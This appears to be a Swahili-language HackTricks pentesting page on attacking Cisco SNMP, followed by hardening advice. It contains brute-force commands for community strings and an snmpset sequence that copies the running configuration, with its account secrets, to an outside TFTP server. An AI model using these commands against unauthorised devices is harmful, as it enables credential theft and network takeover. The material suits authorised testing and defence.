# Cisco SNMP {{#include ../../banners/hacktricks-training.md}} ## Pentesting Cisco Networks **SNMP** inafanya kazi juu ya UDP na bandari **161/UDP** kwa ujumbe wa jumla na **162/UDP** kwa ujumbe wa mtego. Protokali hii inategemea *nyuzi za jamii*, zinazofanya kazi kama "nywila" za maandiko zinazowezesha mawasiliano kati ya wakala wa SNMP na wasimamizi. Nyuzi hizi zinatambulisha kiwango cha ufikiaji, haswa **kusoma tu (RO) au ruhusa za kusoma-kandika (RW)**. Njia ya shambulio ya jadi—lakini bado yenye ufanisi sana—ni **kuvunjavunja nyuzi za jamii** ili kuinua kutoka kwa mtumiaji asiyeidhinishwa hadi msimamizi wa kifaa (RW jamii). Chombo cha vitendo kwa kazi hii ni [**onesixtyone**](https://github.com/trailofbits/onesixtyone): ```bash onesixtyone -c community_strings.txt -i targets.txt ``` Mchango mwingine wa haraka ni skripti ya Nmap NSE `snmp-brute` au moduli ya SNMP ya Hydra: ```bash nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24 hydra -P wordlist.txt -s 161 10.10.10.1 snmp ``` --- ### Kutolea nje usanidi kupitia SNMP (CISCO-CONFIG-COPY-MIB) Ikiwa unapata **RW community** unaweza nakili usanidi unaotumika/usanidi wa kuanzisha kwenye seva ya TFTP/FTP *bila ufikiaji wa CLI* kwa kutumia CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Njia mbili za kawaida ni: 1. **Nmap NSE – `snmp-ios-config`** ```bash nmap -sU -p161 --script snmp-ios-config \ --script-args creds.snmp=private 192.168.66.1 ``` Script inaratibu kiotomatiki operesheni ya nakala na kuchapisha usanidi kwenye stdout. 2. **Mfuatano wa mikono wa `snmpset`** ```bash # Copy running-config (4) to a TFTP server (1) – random row id 1234 snmpset -v2c -c private 192.168.66.1 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp 1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig 1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile 1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP 1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\ 1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo ``` Row identifiers ni *moja tu*; matumizi tena ndani ya dakika tano husababisha makosa ya `inconsistentValue`. Mara faili likiwa kwenye seva yako ya TFTP unaweza kuchunguza akauti (`enable secret`, `username secret`, nk.) au hata kusukuma mabadiliko ya usanidi kurudi kwenye kifaa. --- ### Metasploit goodies * **`cisco_config_tftp`** – inashusha running-config/startup-config kupitia TFTP baada ya kutumia MIB hiyo hiyo. * **`snmp_enum`** – inakusanya taarifa za hesabu ya kifaa, VLANs, maelezo ya kiunganishi, ARP tables, nk. ```bash use auxiliary/scanner/snmp/snmp_enum set RHOSTS 10.10.100.10 set COMMUNITY public run ``` --- ## Uthibitisho wa hivi karibuni wa Cisco SNMP (2023 – 2025) Kufuatilia taarifa za wauzaji ni muhimu ili kubaini fursa za *zero-day-to-n-day* ndani ya ushirikiano: | Mwaka | CVE | Kipengele kilichohusika | Athari | |------|-----|-----------------|--------| | 2025 | CVE-2025-20174 | SNMP subsystem | Pakiti iliyoundwa inasababisha *DoS* (reload) iliyothibitishwa kwenye IOS/IOS-XE (v1/v2c/v3). | | 2024 | CVE-2024-20373 | Usimamizi wa IPv4 ACL | ACLs **extended** zilizowekwa vibaya *zinashindwa* kimya, zikiruhusu upimaji wa SNMP usio na uthibitisho wakati jamii/katumia halali inajulikana. | | 2025 | (hakuna CVE bado) | Kupita kwa vizuizi vya usanidi wa SNMPv3 | Mtumiaji halali wa v3 anaweza kupima kutoka anwani ambazo zinapaswa kukataliwa. | Uwezekano wa kutumia mara nyingi bado unategemea kumiliki nywila ya jamii au akidi za v3—sababu nyingine kwa nini kujaribu kwa nguvu bado kuna umuhimu. --- ## Vidokezo vya Kuimarisha & Kugundua * Pandisha toleo lililosahihishwa la IOS/IOS-XE (angalia taarifa ya Cisco kwa CVE hapo juu). * Prefer **SNMPv3** na `authPriv` (SHA-256/AES-256) badala ya v1/v2c. ``` snmp-server group SECURE v3 priv snmp-server user monitor SECURE v3 auth sha priv aes 256 ``` * Fungamanisha SNMP na VRF ya usimamizi na **punguza kwa *standard* numbered IPv4 ACLs** (ACLs zenye majina za extended ni hatari – CVE-2024-20373). * Zima **RW communities**; ikiwa inahitajika kwa operesheni, zipunguze kwa ACL na maoni: `snmp-server community RW 99 view SysView` * Fuata: - Spike za UDP/161 au vyanzo visivyotarajiwa (sheria za SIEM). - Matukio ya `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` yanayoashiria mabadiliko ya usanidi ya nje ya bendi. * Wezesha **SNMPv3 logging** na `snmp-server packetsize 1500` ili kupunguza njia fulani za DoS. --- ## Marejeleo - Cisco: *Jinsi ya Nakili Mipangilio Kwa na Kutoka kwa Vifaa vya Cisco Kwa Kutumia SNMP* - Taarifa ya Usalama ya Cisco *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373) {{#include ../../banners/hacktricks-training.md}}